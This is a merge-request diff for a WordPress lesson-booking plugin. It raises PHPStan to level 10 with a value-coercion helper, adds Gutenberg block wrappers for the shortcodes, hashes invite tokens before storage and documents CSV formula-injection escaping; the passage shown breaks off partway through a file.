Merge pull request 'Upgrade PHPStan to 2.x and raise analysis level from 6 to 10' (#46) from chore/phpstan-2-upgrade into main

Reviewed-on: #46

CLAUDE.md

@@ -38,6 +38,8 @@ src/                  — All plugin PHP (PSR-4 namespace: Unsupervised\Schedula
   AdminMenu.php       — Registers wp-admin menu pages
   RestRegistrar.php   — Registers all REST routes under us-scheduler/v1
   ShortcodeRegistrar.php — Registers [us_booking] and [us_student_login] shortcodes
+  BlockRegistrar.php  — Registers Gutenberg dynamic-block wrappers for the shortcodes
+  BlockPreview.php    — Static editor-preview markup for the blocks
 templates/            — PHP view files included by controllers/shortcodes
 assets/               — CSS and JS (vanilla JS, no build step)
 tests/Unit/           — PHPUnit unit tests (PSR-4: Unsupervised\Schedular\Tests\)
@@ -66,6 +68,9 @@ All database access goes through repository classes within their domain package.
 | `AdminMenu` | Registers wp-admin menu pages |
 | `RestRegistrar` | Registers all REST routes under `us-scheduler/v1` |
 | `ShortcodeRegistrar` | Registers `[us_booking]` and `[us_student_login]` shortcodes |
+| `BlockRegistrar` | Registers Gutenberg dynamic-block wrappers for the shortcodes |
+| `BlockPreview` | Static editor-preview markup for the blocks |
+| `Val` | Runtime coercion of untyped WP boundary values (wpdb rows, REST params, superglobals) |
 | `Auth\RoleManager` | Registers `us_instructor` and `us_student` roles with custom caps |
 | `Auth\LoginPage` | Renders front-end student login form |
 | `Availability\AvailabilitySlot` | Immutable value object for a slot row |
@@ -104,6 +109,6 @@ All test classes extend `tests/Unit/TestCase.php`, which handles `Monkey\setUp()
 ### CI
 Gitea Actions (`.gitea/workflows/ci.yml`) runs on every push and pull request:
 - **lint** — PHPCS WordPress coding standards
-- **static-analysis** — PHPStan level 6
+- **static-analysis** — PHPStan level 10
 - **test** — PHPUnit on PHP 8.1, 8.2, 8.3
 - **no-debug** — rejects commits with `var_dump`, `error_log`, etc. in `src/`

assets/css/frontend.css

@@ -33,3 +33,10 @@
     color: #c00;
     margin-top: 8px;
 }
+
+/* Shown only in block-editor previews (see BlockPreview). */
+.us-editor-note {
+    font-size: 0.85em;
+    font-style: italic;
+    opacity: 0.7;
+}

assets/js/blocks.js

@@ -0,0 +1,65 @@
+/* global wp */
+(function () {
+    'use strict';
+
+    const { registerBlockType } = wp.blocks;
+    const { createElement: el } = wp.element;
+    const { useBlockProps } = wp.blockEditor;
+    const ServerSideRender = wp.serverSideRender;
+    const { __ } = wp.i18n;
+
+    const blocks = [
+        {
+            name: 'us-scheduler/booking',
+            title: __('Lesson Booking', 'unsupervised-schedular'),
+            description: __('Lets students browse availability and book lessons. Shows a styled preview in the editor.', 'unsupervised-schedular'),
+            icon: 'calendar-alt',
+            keywords: ['booking', 'lesson', 'schedule'],
+            shortcode: 'us_booking',
+        },
+        {
+            name: 'us-scheduler/student-login',
+            title: __('Student Login', 'unsupervised-schedular'),
+            description: __('The front-end login form for students.', 'unsupervised-schedular'),
+            icon: 'admin-users',
+            keywords: ['login', 'student', 'sign in'],
+            shortcode: 'us_student_login',
+        },
+        {
+            name: 'us-scheduler/student-register',
+            title: __('Student Registration', 'unsupervised-schedular'),
+            description: __('The invite-only student registration form.', 'unsupervised-schedular'),
+            icon: 'welcome-add-page',
+            keywords: ['register', 'student', 'invite'],
+            shortcode: 'us_student_register',
+        },
+        {
+            name: 'us-scheduler/group-classes',
+            title: __('Group Classes', 'unsupervised-schedular'),
+            description: __('Lets students browse and enrol in group classes. Shows a styled preview in the editor.', 'unsupervised-schedular'),
+            icon: 'groups',
+            keywords: ['group', 'class', 'enrol'],
+            shortcode: 'us_group_classes',
+        },
+    ];
+
+    blocks.forEach((def) => {
+        registerBlockType(def.name, {
+            apiVersion: 3,
+            title: def.title,
+            description: def.description,
+            icon: def.icon,
+            category: 'widgets',
+            keywords: def.keywords,
+            supports: { html: false, multiple: false },
+            example: {},
+            edit: function Edit() {
+                return el('div', useBlockProps(), el(ServerSideRender, { block: def.name }));
+            },
+            save: () => null,
+            transforms: {
+                from: [{ type: 'shortcode', tag: def.shortcode }],
+            },
+        });
+    });
+}());

composer.json

@@ -11,8 +11,8 @@
         "phpunit/phpunit": "^10.5",
         "brain/monkey": "^2.6",
         "mockery/mockery": "^1.6",
-        "phpstan/phpstan": "^1.10",
-        "szepeviktor/phpstan-wordpress": "^1.3",
+        "phpstan/phpstan": "^2.0",
+        "szepeviktor/phpstan-wordpress": "^2.0",
         "php-stubs/wordpress-stubs": "^6.0",
         "squizlabs/php_codesniffer": "^3.7",
         "wp-coding-standards/wpcs": "^3.0"
@@ -30,7 +30,7 @@
     "scripts": {
         "test": "phpunit --configuration phpunit.xml",
         "test:coverage": "phpunit --configuration phpunit.xml --coverage-html coverage/",
-        "lint": "phpstan analyse src/ --level=6 --configuration phpstan.neon --memory-limit=1G",
+        "lint": "phpstan analyse --configuration phpstan.neon --memory-limit=1G",
         "cs": "phpcs --standard=phpcs.xml.dist",
         "cs:fix": "phpcbf --standard=phpcs.xml.dist",
         "build": "bash bin/build-zip.sh"

docs/features/account-registration.md

@@ -18,7 +18,7 @@ Stored in the `us_registration_mode` option (default `invite`):
 |--------------------|------------------|--------------------------------------------------------|
 | `id`               | BIGINT UNSIGNED  | Primary key                                            |
 | `email`            | VARCHAR(191)     | Invited email address                                  |
-| `token`            | VARCHAR(64)      | Opaque token embedded in the registration link         |
+| `token`            | VARCHAR(64)      | SHA-256 hash of the token embedded in the registration link (raw token is never stored) |
 | `role`             | VARCHAR(32)      | Role granted on acceptance (default `us_student`)       |
 | `status`           | VARCHAR(20)      | `pending` / `accepted` / `revoked`                     |
 | `invited_by`       | BIGINT UNSIGNED  | WordPress user ID of the studio admin who invited       |
@@ -34,16 +34,16 @@ recorded in `us_policy_acceptances` with `registration_type = account` and
 `registration_id = <new user ID>`.
 
 ## Flow (invite mode)
-1. Studio admin opens **Invites** (`manage_students`) and invites an email; an invite row is created with a token and a registration link.
-2. The invitee opens `[us_student_register]` with the token (`?us_invite=<token>`).
+1. Studio admin opens **Invites** (`manage_students`) and invites an email; an invite row is created storing the token's SHA-256 hash, and the registration link (with the raw token) is shown **once** in a notice. To re-send a lost link, revoke and re-invite.
+2. The invitee opens `[us_student_register]` with the token (`?us_invite=<token>`); the lookup hashes the submitted token and matches it against the stored hash.
 3. The form pre-fills the email and collects a display name and password, and renders the signup-scoped published policies, each with a required acceptance checkbox.
-4. On submit, the token is re-validated; a `us_student` user is created, the policy acceptances are recorded (`account` type), the invite is marked `accepted`, and the user is logged in.
+4. On submit, the token is re-validated (hashed lookup); a `us_student` user is created, the policy acceptances are recorded (`account` type), the invite is marked `accepted`, and the user is logged in.
 
 ## Admin Interface
 **Invites** in wp-admin (`manage_students`, studio admin only):
 - Select the **registration page** (the page hosting `[us_student_register]`), stored in the `us_registration_page_id` option; invitation links point there (falling back to the home page if unset)
-- Invite an email (creates a pending invite + link)
-- List pending invites; revoke an invite
+- Invite an email (creates a pending invite; the link is displayed once, at creation only)
+- List pending invites (email + invited date); revoke an invite
 
 ## Frontend Shortcode
 - `[us_student_register]` — the registration page. Shows the form for a valid pending invite; otherwise shows an "by invitation only" message (in `invite` mode).

docs/features/availability-management.md

@@ -46,6 +46,12 @@ offering/duration before selecting a slot to register for.
 
 `GET` supports query params: `instructor_id`, `offering_id`, `duration_minutes`, `from` (datetime), `to` (datetime).
 
+`POST` validates `start_dt`/`end_dt` (admin form and REST alike) via
+`AvailabilitySlot::normalizeDateTime()`: the canonical `Y-m-d H:i[:s]` and HTML
+`datetime-local` (`Y-m-d\TH:i[:s]`) forms are normalised to `Y-m-d H:i:s`;
+anything else — or an end not after the start — is rejected (REST responds
+`400 invalid_datetime`; the admin form is a no-op).
+
 ## Implementation
 - Repository: `Unsupervised\Schedular\Availability\AvailabilityRepository`
 - Model: `Unsupervised\Schedular\Availability\AvailabilitySlot`

docs/features/editor-blocks.md

@@ -0,0 +1,66 @@
+# Editor Blocks
+
+Gutenberg dynamic-block wrappers for the plugin's four front-end shortcodes,
+so the pages can be previewed and styled inside the block editor instead of
+appearing as grey shortcode text.
+
+## Blocks
+
+| Block | Wraps shortcode | Front-end renderer |
+|---|---|---|
+| `us-scheduler/booking` | `[us_booking]` | `Booking\BookingPage::render()` |
+| `us-scheduler/student-login` | `[us_student_login]` | `Auth\LoginPage::render()` |
+| `us-scheduler/student-register` | `[us_student_register]` | `Auth\RegistrationPage::render()` |
+| `us-scheduler/group-classes` | `[us_group_classes]` | `GroupClass\GroupClassPage::render()` |
+
+The shortcodes remain registered for back-compat; blocks and shortcodes share
+the same page objects (constructed once in `Plugin::boot()`), so front-end
+output is identical either way. Pasting a shortcode into the block editor
+auto-converts it to the matching block via a `transforms.from` shortcode
+transform.
+
+## How it works
+
+- **`BlockRegistrar`** (`src/BlockRegistrar.php`) hooks `init` and registers
+  each block with `register_block_type()`: a `render_callback` per block, the
+  shared editor script (`assets/js/blocks.js`, handle
+  `us-scheduler-blocks`), and the front-end stylesheet
+  (`assets/css/frontend.css`, handle `us-scheduler`) as the block `style` so
+  it also loads inside the editor and previews pick up theme styling.
+- **`assets/js/blocks.js`** (vanilla JS, no build step) registers the client
+  side of each block — title, icon, keywords, shortcode transform — and
+  renders the editor preview with `wp.serverSideRender`, which fetches the
+  server-rendered markup via the `/wp/v2/block-renderer` REST route.
+- **`BlockPreview`** (`src/BlockPreview.php`) supplies static, script-free
+  markup for editor previews. `BlockRegistrar::isEditorPreview()` detects the
+  block-renderer context via the `REST_REQUEST` constant (front-end template
+  rendering never happens inside a REST request) and renders the preview
+  instead of the live page.
+
+## Editor preview behaviour
+
+Live pages cannot run in the editor: booking and group classes are populated
+by JavaScript making authenticated REST calls (and may load Stripe.js),
+registration requires a valid invite token, and login short-circuits for
+logged-in users (the editing admin always is). Each preview therefore
+reproduces the live wrapper elements and CSS classes with representative
+placeholder content:
+
+- **Booking** — `#us-booking-app` with sample `.us-day` / `.us-slot` rows and
+  disabled Book buttons.
+- **Group classes** — `#us-group-app` with a sample `.us-class` card and a
+  disabled Enrol button.
+- **Login** — the real `templates/frontend/login-page.php` template (it has
+  no request-state dependencies).
+- **Registration** — a disabled sample of the `.us-register-form` fields.
+
+Each preview starts with a `.us-editor-note` paragraph explaining what the
+published page shows instead. The note class only appears in editor previews.
+
+## Tests
+
+- `tests/Unit/BlockRegistrarTest.php` — hook registration, block/asset
+  registration, front-end delegation to the page objects, preview-mode
+  routing.
+- `tests/Unit/BlockPreviewTest.php` — preview markup mirrors the live CSS
+  classes/ids and includes the editor note.

docs/features/payment-reporting.md

@@ -54,6 +54,11 @@ and `instructor_id` query params as the page and returns `text/csv` with a
 `Content-Disposition: attachment` header. Instructor requests are scoped to
 their own rows regardless of `instructor_id`.
 
+Fields that a spreadsheet would interpret as a formula (leading `=`, `+`, `-`,
+`@`, tab, or CR — e.g. a hostile student display name) are prefixed with an
+apostrophe so the export can never carry CSV formula injection into Excel or
+Google Sheets.
+
 ## Implementation
 
 - Report aggregator (pure totals + CSV): `Unsupervised\Schedular\Payment\PaymentReport`

phpcs.xml.dist

@@ -44,7 +44,32 @@
         </properties>
     </rule>
 
+    <!--
+        Val::* type-narrowing helpers (src/Val.php) wrap superglobal reads so
+        PHPStan level 10 sees a typed value, e.g.
+        `absint( Val::int( $_GET['id'] ?? 0 ) )`. The sniff walks wrapping
+        calls innermost-out and aborts at the first unrecognised function
+        name, so the Val method names must be registered for it to look past
+        them. Because they are static calls (`::`), the sniff never credits
+        them as sanitizers themselves — it skips them and still requires a
+        real sanitizing function around the read.
+    -->
+    <rule ref="WordPress.Security.ValidatedSanitizedInput">
+        <properties>
+            <property name="customUnslashingSanitizingFunctions" type="array">
+                <element value="int"/>
+                <element value="intOrNull"/>
+                <element value="float"/>
+                <element value="bool"/>
+            </property>
+            <property name="customSanitizingFunctions" type="array">
+                <element value="string"/>
+                <element value="stringOrNull"/>
+            </property>
+        </properties>
+    </rule>
+
     <!-- PHP 8.1+ minimum — allow modern syntax. -->
-    <config name="minimum_supported_wp_version" value="6.0"/>
+    <config name="minimum_supported_wp_version" value="6.2"/>
     <config name="testVersion" value="8.1-"/>
 </ruleset>

phpstan.neon

@@ -2,7 +2,7 @@ includes:
     - vendor/szepeviktor/phpstan-wordpress/extension.neon
 
 parameters:
-    level: 6
+    level: 10
     paths:
         - src
     bootstrapFiles:

src/Auth/AccessSettings.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Auth;
 
+use Unsupervised\Schedular\Val;
+
 /**
  * Site-owner toggles for whether WordPress administrators automatically receive
  * the studio-admin and/or instructor capabilities.
@@ -39,7 +41,7 @@ class AccessSettings {
 	 * single-account behaviour.
 	 */
 	private function flag( string $option ): bool {
-		return '0' !== (string) get_option( $option, '1' );
+		return '0' !== Val::string( get_option( $option, '1' ) );
 	}
 
 	public function renderPage(): void {

src/Auth/InstructorController.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Auth;
 
+use Unsupervised\Schedular\Val;
+
 /**
  * Studio-admin **Instructors** page: create instructor accounts and toggle each
  * instructor's managed capabilities. Gated on `manage_instructors`. A studio
@@ -24,7 +26,7 @@ class InstructorController {
 		}
 
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only instructor selector.
-		$instructorId = absint( $_GET['instructor_id'] ?? 0 );
+		$instructorId = absint( Val::int( $_GET['instructor_id'] ?? 0 ) );
 		$instructor   = $instructorId > 0 ? get_userdata( $instructorId ) : false;
 
 		if ( $instructor && in_array( RoleManager::INSTRUCTOR, (array) $instructor->roles, true ) ) {
@@ -50,12 +52,15 @@ class InstructorController {
 				'email'      => $user->user_email,
 				'registered' => $user->user_registered,
 			],
+			array_filter(
 				get_users(
 					[
 						'role'    => RoleManager::INSTRUCTOR,
 						'orderby' => 'display_name',
 						'order'   => 'ASC',
 					]
+				),
+				static fn( mixed $user ): bool => $user instanceof \WP_User
 			)
 		);
 
@@ -66,7 +71,7 @@ class InstructorController {
 	private function handleFormAction(): string {
 		// Nonce is verified by the caller (renderPage) before this method runs.
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
+		$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
 		// phpcs:enable WordPress.Security.NonceVerification.Missing
 
 		if ( 'create' === $action ) {
@@ -82,8 +87,8 @@ class InstructorController {
 
 	private function createInstructor(): string {
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$email = sanitize_email( wp_unslash( $_POST['email'] ?? '' ) );
-		$name  = sanitize_text_field( wp_unslash( $_POST['display_name'] ?? '' ) );
+		$email = sanitize_email( Val::string( wp_unslash( $_POST['email'] ?? '' ) ) );
+		$name  = sanitize_text_field( Val::string( wp_unslash( $_POST['display_name'] ?? '' ) ) );
 		// phpcs:enable WordPress.Security.NonceVerification.Missing
 
 		if ( ! is_email( $email ) ) {
@@ -125,8 +130,9 @@ class InstructorController {
 
 	private function updateCaps(): string {
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$instructorId = absint( $_POST['instructor_id'] ?? 0 );
-		$submitted    = array_map( 'sanitize_key', (array) wp_unslash( $_POST['capabilities'] ?? [] ) );
+		$instructorId = absint( Val::int( $_POST['instructor_id'] ?? 0 ) );
+		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- each capability key is sanitized with sanitize_key() in the array_map callback.
+		$submitted = array_values( array_map( static fn( mixed $cap ): string => sanitize_key( Val::string( $cap ) ), (array) wp_unslash( $_POST['capabilities'] ?? [] ) ) );
 		// phpcs:enable WordPress.Security.NonceVerification.Missing
 
 		$instructor = $instructorId > 0 ? get_userdata( $instructorId ) : false;

src/Auth/Invite.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Auth;
 
+use Unsupervised\Schedular\Val;
+
 class Invite {
 
 	public const STATUS_PENDING  = 'pending';
@@ -22,6 +24,16 @@ class Invite {
 	 */
 	public const EXPIRY_DAYS = 14;
 
+	/**
+	 * Hash a raw invitation token for storage and lookup. Only the hash is
+	 * persisted, so a database leak (backup, SQL injection elsewhere) cannot be
+	 * used to redeem pending invites; the raw token exists only in the emailed
+	 * link and is shown to the admin once, at creation.
+	 */
+	public static function hashToken( string $rawToken ): string {
+		return hash( 'sha256', $rawToken );
+	}
+
 	public function __construct(
 		public readonly string $email,
 		public readonly string $token,
@@ -34,17 +46,17 @@ class Invite {
 		public readonly ?int $id = null,
 	) {}
 
-	public static function fromRow( object $row ): self {
+	public static function fromRow( \stdClass $row ): self {
 		return new self(
-			email:          $row->email,
-			token:          $row->token,
-			role:           $row->role,
-			status:         $row->status,
-			invitedBy:      null !== $row->invited_by ? (int) $row->invited_by : null,
-			acceptedUserId: null !== $row->accepted_user_id ? (int) $row->accepted_user_id : null,
-			acceptedAt:     $row->accepted_at,
-			createdAt:      $row->created_at ?? null,
-			id:             (int) $row->id,
+			email:          Val::string( $row->email ),
+			token:          Val::string( $row->token ),
+			role:           Val::string( $row->role ),
+			status:         Val::string( $row->status ),
+			invitedBy:      Val::intOrNull( $row->invited_by ),
+			acceptedUserId: Val::intOrNull( $row->accepted_user_id ),
+			acceptedAt:     Val::stringOrNull( $row->accepted_at ),
+			createdAt:      Val::stringOrNull( $row->created_at ?? null ),
+			id:             Val::int( $row->id ),
 		);
 	}
 

src/Auth/InviteRepository.php

@@ -32,7 +32,7 @@ class InviteRepository {
 
 	public function findByToken( string $token ): ?Invite {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE token = %s", $token )
+			$this->db->prepare( 'SELECT * FROM %i WHERE token = %s', $this->table, $token )
 		);
 
 		return $row ? Invite::fromRow( $row ) : null;
@@ -40,7 +40,7 @@ class InviteRepository {
 
 	public function findById( int $id ): ?Invite {
 		$row = $this->db->get_row(
-			$this->db->prepare( "SELECT * FROM {$this->table} WHERE id = %d", $id )
+			$this->db->prepare( 'SELECT * FROM %i WHERE id = %d', $this->table, $id )
 		);
 
 		return $row ? Invite::fromRow( $row ) : null;
@@ -52,7 +52,8 @@ class InviteRepository {
 	public function findPendingByEmail( string $email ): ?Invite {
 		$row = $this->db->get_row(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE email = %s AND status = %s ORDER BY id DESC LIMIT 1",
+				'SELECT * FROM %i WHERE email = %s AND status = %s ORDER BY id DESC LIMIT 1',
+				$this->table,
 				$email,
 				Invite::STATUS_PENDING
 			)
@@ -69,7 +70,8 @@ class InviteRepository {
 	public function findPending(): array {
 		$rows = $this->db->get_results(
 			$this->db->prepare(
-				"SELECT * FROM {$this->table} WHERE status = %s ORDER BY created_at DESC",
+				'SELECT * FROM %i WHERE status = %s ORDER BY created_at DESC',
+				$this->table,
 				Invite::STATUS_PENDING
 			)
 		);

src/Auth/LoginPage.php

@@ -3,12 +3,14 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Auth;
 
+use Unsupervised\Schedular\Val;
+
 class LoginPage {
 
 	/**
 	 * Renders the student login shortcode output.
 	 *
-	 * @param array<string, string> $atts Shortcode attributes (unused — reserved for future options).
+	 * @param array<string> $atts Shortcode attributes (unused — reserved for future options).
 	 */
 	public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
 		if ( is_user_logged_in() ) {
@@ -26,9 +28,9 @@ class LoginPage {
 
 		if ( isset( $_POST['us_login'] ) && check_admin_referer( 'us_student_login' ) ) {
 			$credentials = [
-				'user_login'    => sanitize_user( wp_unslash( $_POST['log'] ?? '' ) ),
+				'user_login'    => sanitize_user( Val::string( wp_unslash( $_POST['log'] ?? '' ) ) ),
 				// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- passwords must not be sanitized.
-				'user_password' => wp_unslash( $_POST['pwd'] ?? '' ),
+				'user_password' => Val::string( wp_unslash( $_POST['pwd'] ?? '' ) ),
 				'remember'      => isset( $_POST['rememberme'] ),
 			];
 

src/Auth/RegistrationController.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Auth;
 
+use Unsupervised\Schedular\Val;
+
 class RegistrationController {
 
 	/**
@@ -17,50 +19,72 @@ class RegistrationController {
 			wp_die( esc_html__( 'You do not have permission to manage invites.', 'unsupervised-schedular' ) );
 		}
 
+		$newInviteUrl = '';
 		if ( isset( $_POST['usc_action'] ) && check_admin_referer( 'usc_invite_action' ) ) {
-			$this->handleFormAction();
+			$newInviteUrl = $this->handleFormAction();
 		}
 
 		$pendingInvites      = $this->invites->findPending();
-		$registrationPageId  = (int) get_option( self::OPTION_PAGE, 0 );
+		$registrationPageId  = Val::int( get_option( self::OPTION_PAGE, 0 ) );
 		$registrationPageUrl = $registrationPageId > 0 ? (string) get_permalink( $registrationPageId ) : '';
 
 		include USC_PLUGIN_DIR . 'templates/admin/invites.php';
 	}
 
-	private function handleFormAction(): void {
+	/**
+	 * Handle a posted admin action. Returns the registration link for a freshly
+	 * created invite — the only time it can be shown, since just the token's hash
+	 * is stored — or an empty string for every other action.
+	 */
+	private function handleFormAction(): string {
 		// Nonce is verified by the caller (renderPage) before this method runs.
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
-		$action = sanitize_key( wp_unslash( $_POST['usc_action'] ?? '' ) );
+		$action = sanitize_key( Val::string( wp_unslash( $_POST['usc_action'] ?? '' ) ) );
 
 		if ( 'set_page' === $action ) {
-			update_option( self::OPTION_PAGE, absint( $_POST['registration_page_id'] ?? 0 ) );
+			update_option( self::OPTION_PAGE, absint( Val::int( $_POST['registration_page_id'] ?? 0 ) ) );
 		}
 
 		if ( 'invite' === $action ) {
-			$email = sanitize_email( wp_unslash( $_POST['email'] ?? '' ) );
+			$email = sanitize_email( Val::string( wp_unslash( $_POST['email'] ?? '' ) ) );
 
 			if (
 				is_email( $email )
 				&& false === email_exists( $email )
 				&& null === $this->invites->findPendingByEmail( $email )
 			) {
+				$rawToken = wp_generate_password( 32, false );
+
 				$this->invites->insert(
 					new Invite(
 						email:     $email,
-						token:     wp_generate_password( 32, false ),
+						token:     Invite::hashToken( $rawToken ),
 						invitedBy: get_current_user_id(),
 					)
 				);
+
+				return $this->registrationLink( $rawToken );
 			}
 		}
 
 		if ( 'revoke' === $action ) {
-			$inviteId = absint( $_POST['invite_id'] ?? 0 );
+			$inviteId = absint( Val::int( $_POST['invite_id'] ?? 0 ) );
 			if ( $inviteId > 0 ) {
 				$this->invites->revoke( $inviteId );
 			}
 		}
 		// phpcs:enable WordPress.Security.NonceVerification.Missing
+
+		return '';
+	}
+
+	/**
+	 * Build the registration URL for a raw invite token.
+	 */
+	private function registrationLink( string $rawToken ): string {
+		$pageId   = Val::int( get_option( self::OPTION_PAGE, 0 ) );
+		$linkBase = $pageId > 0 ? (string) get_permalink( $pageId ) : '';
+
+		return add_query_arg( 'us_invite', rawurlencode( $rawToken ), '' !== $linkBase ? $linkBase : home_url( '/' ) );
 	}
 }

src/Auth/RegistrationPage.php

@@ -8,6 +8,7 @@ use Unsupervised\Schedular\Policy\Policy;
 use Unsupervised\Schedular\Policy\PolicyAcceptance;
 use Unsupervised\Schedular\Policy\PolicyRepository;
 use Unsupervised\Schedular\Policy\PolicyVersionRepository;
+use Unsupervised\Schedular\Val;
 
 class RegistrationPage {
 
@@ -21,7 +22,7 @@ class RegistrationPage {
 	/**
 	 * Renders the student registration shortcode output.
 	 *
-	 * @param array<string, string> $atts Shortcode attributes (unused — reserved for future options).
+	 * @param array<string> $atts Shortcode attributes (unused — reserved for future options).
 	 */
 	public function render( array $atts ): string { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.Found
 		if ( is_user_logged_in() ) {
@@ -29,8 +30,9 @@ class RegistrationPage {
 		}
 
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- token identifies the invite; the form submit is nonce-checked below.
-		$token  = sanitize_text_field( wp_unslash( $_REQUEST['us_invite'] ?? '' ) );
-		$invite = '' !== $token ? $this->invites->findByToken( $token ) : null;
+		$token = sanitize_text_field( Val::string( wp_unslash( $_REQUEST['us_invite'] ?? '' ) ) );
+		// Only the token's hash is stored, so hash the submitted token for lookup.
+		$invite = '' !== $token ? $this->invites->findByToken( Invite::hashToken( $token ) ) : null;
 
 		$error   = '';
 		$success = false;
@@ -63,12 +65,12 @@ class RegistrationPage {
 		}
 
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only token used only to build the redirect target.
-		$token = sanitize_text_field( wp_unslash( $_GET['us_invite'] ?? '' ) );
+		$token = sanitize_text_field( Val::string( wp_unslash( $_GET['us_invite'] ?? '' ) ) );
 		if ( '' === $token ) {
 			return;
 		}
 
-		$pageId = (int) get_option( RegistrationController::OPTION_PAGE, 0 );
+		$pageId = Val::int( get_option( RegistrationController::OPTION_PAGE, 0 ) );
 		if ( $pageId <= 0 || is_page( $pageId ) ) {
 			return;
 		}
@@ -89,15 +91,16 @@ class RegistrationPage {
 		// The submit nonce is verified by the caller (render) before this runs.
 		// phpcs:disable WordPress.Security.NonceVerification.Missing
 		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- passwords must not be sanitized.
-		$password    = (string) wp_unslash( $_POST['password'] ?? '' );
-		$displayName = sanitize_text_field( wp_unslash( $_POST['display_name'] ?? '' ) );
+		$password    = Val::string( wp_unslash( $_POST['password'] ?? '' ) );
+		$displayName = sanitize_text_field( Val::string( wp_unslash( $_POST['display_name'] ?? '' ) ) );
 
 		if ( strlen( $password ) < 8 ) {
 			return esc_html__( 'Please choose a password of at least 8 characters.', 'unsupervised-schedular' );
 		}
 
 		$policyForms = $this->signupPolicies();
-		$accepted    = array_map( 'absint', (array) ( $_POST['accept'] ?? [] ) );
+		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.MissingUnslash, WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- each element is coerced to a positive int in the array_map callback; slashes cannot survive integer coercion.
+		$accepted = array_map( static fn( mixed $v ): int => absint( Val::int( $v ) ), (array) ( $_POST['accept'] ?? [] ) );
 		// phpcs:enable WordPress.Security.NonceVerification.Missing
 
 		foreach ( $policyForms as $form ) {
@@ -140,7 +143,7 @@ class RegistrationPage {
 	 */
 	private function recordAcceptances( array $policyForms, int $userId ): void {
 		// phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized, WordPress.Security.ValidatedSanitizedInput.MissingUnslash -- IP is stored verbatim for audit.
-		$ip = sanitize_text_field( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) );
+		$ip = sanitize_text_field( Val::string( wp_unslash( $_SERVER['REMOTE_ADDR'] ?? '' ) ) );
 
 		foreach ( $policyForms as $form ) {
 			$this->acceptances->insert(

src/Auth/StudentController.php

@@ -11,6 +11,7 @@ use Unsupervised\Schedular\GroupClass\EnrollmentRepository;
 use Unsupervised\Schedular\Offering\OfferingRepository;
 use Unsupervised\Schedular\Payment\BillingMethodResolver;
 use Unsupervised\Schedular\Payment\Payment;
+use Unsupervised\Schedular\Val;
 
 class StudentController {
 
@@ -28,7 +29,7 @@ class StudentController {
 		}
 
 		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- read-only student selector.
-		$studentId = absint( $_GET['student_id'] ?? 0 );
+		$studentId = absint( Val::int( $_GET['student_id'] ?? 0 ) );
 		$student   = $studentId > 0 ? get_userdata( $studentId ) : false;
 
 		if ( $student && in_array( RoleManager::STUDENT, (array) $student->roles, true ) ) {
@@ -45,12 +46,15 @@ class StudentController {
 				'upcoming'   => $this->bookings->countUpcomingForStudent( (int) $user->ID ),
 				'enrolments' => $this->enrollments->countActiveForStudent( (int) $user->ID ),
 			],
+			array_filter(
 				get_users(
 					[
 						'role'    => RoleManager::STUDENT,
 						'orderby' => 'display_name',
 						'order'   => 'ASC',
 					]
+				),
+				static fn( mixed $user ): bool => $user instanceof \WP_User
 			)
 		);
 
@@ -63,7 +67,7 @@ class StudentController {
 
 		if ( $canBilling && isset( $_POST['usc_action'] ) && check_admin_referer( 'usc_student_billing' ) ) {
 			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- nonce checked above.
-			$method = sanitize_key( wp_unslash( $_POST['payment_method'] ?? '' ) );
+			$method = sanitize_key( Val::string( wp_unslash( $_POST['payment_method'] ?? '' ) ) );
 			if ( in_array( $method, Payment::VALID_METHODS, true ) ) {
 				update_user_meta( (int) $student->ID, BillingMethodResolver::META_METHOD, $method );
 			} else {
@@ -71,7 +75,7 @@ class StudentController {
 			}
 		}
 
-		$billingOverride = (string) get_user_meta( (int) $student->ID, BillingMethodResolver::META_METHOD, true );
+		$billingOverride = Val::string( get_user_meta( (int) $student->ID, BillingMethodResolver::META_METHOD, true ) );
 		$billingDefault  = $this->resolver->defaultMethod();
 
 		$now  = current_time( 'mysql' );

src/Auth/StudentSchedule.php

@@ -3,6 +3,8 @@ declare(strict_types=1);
 
 namespace Unsupervised\Schedular\Auth;
 
+use Unsupervised\Schedular\Val;
+
 /**
  * Pure helper for splitting a student's dated rows into upcoming and past.
  */
@@ -21,7 +23,7 @@ class StudentSchedule {
 		$past     = [];
 
 		foreach ( $rows as $row ) {
-			$start = (string) ( $row['start_dt'] ?? '' );
+			$start = Val::string( $row['start_dt'] ?? '' );
 			if ( '' !== $start && $start >= $now ) {
 				$upcoming[] = $row;
 			} else {
@@ -29,12 +31,12 @@ class StudentSchedule {
 			}
 		}
 
-		usort( $upcoming, static fn( array $a, array $b ): int => strcmp( (string) ( $a['start_dt'] ?? '' ), (string) ( $b['start_dt'] ?? '' ) ) );
